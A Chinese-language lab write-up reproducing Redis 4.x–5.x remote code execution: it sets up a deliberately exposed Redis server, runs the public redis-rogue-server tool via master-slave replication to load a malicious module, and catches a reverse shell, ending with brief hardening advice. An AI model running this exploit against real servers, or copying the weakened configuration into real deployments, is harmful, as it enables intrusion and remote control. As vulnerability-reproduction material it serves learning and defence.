漏洞复现之Redis-rce
通过主从复制 GetShell
Redis主从复制
Redis是一个使用ANSI C编写的开源、支持网络、基于内存、可选持久性的键值对存储数据库。但如果当把数据存储在单个Redis的实例中,当读写体量比较大的时候,服务端就很难承受。为了应对这种情况,Redis就提供了主从模式,主从模式就是指使用一个redis实例作为主机,其他实例都作为备份机,其中主机和从机数据相同,而从机只负责读,主机只负责写,通过读写分离可以大幅度减轻流量的压力,算是一种通过牺牲空间来换取效率的缓解方式。
Redis模块
在了解了主从同步之后,我们还需要对redis的模块有所了解。
在Redis 4.x之后,Redis新增了模块功能,通过外部拓展,可以实现在redis中实现一个新的Redis命令,通过写c语言并编译出.so文件。
由此可知,此方式的利用范围。
Redis 4.x-Redis 5.x
靶机:ubuntu 18.04.1 ip:192.168.112.132
攻击机:kali ip:192.168.112.133
一、环境搭建。
1)wget http://download.redis.io/releases/redis-5.0.0.tar.gz
tar -xvzf redis-5.0.0.tar.gz
cd redis-5.0.0
make
2)不同机器上需更改redis.conf配置文件
protected-mode yes 改为
protected-mode no
#关闭redis保护模式
bind 127.0.0.1 改为
bind 0.0.0.0
#注意:bind的意思不是绑定外部服务器的IP,而是绑定本机可以接受连接的网卡地址,默认是只能本地访问,改动后服务器上任意网卡地址可访问。
3)靶机启动服务
cd src
./redis-server ../redis.conf
#加载指定配置
二、exp准备
https://github.com/n0b0dyCN/redis-rogue-server
用法:python3 redis-rogue-server.py --rhost=192.168.112.132 --lhost=192.168.112.133 --exp=exp.so
三、exploit
弹shell至本机的时候,需输入攻击机ip,输入监听端口。
监听,成功。
修复建议:
由于该漏洞利用前提是获取redis访问权限,也就是基于redis未授权访问。因此可考虑把产生问题的家伙解决掉。
redis加固:https://www.cnblogs.com/iamver/p/7985556.html
参考链接:
https://www.anquanke.com/post/id/181734
https://lorexxar.cn/2019/07/10/redis-5-x-rce/
漏洞原理:
https://2018.zeronights.ru/wp-content/uploads/materials/15-redis-post-exploitation.pdf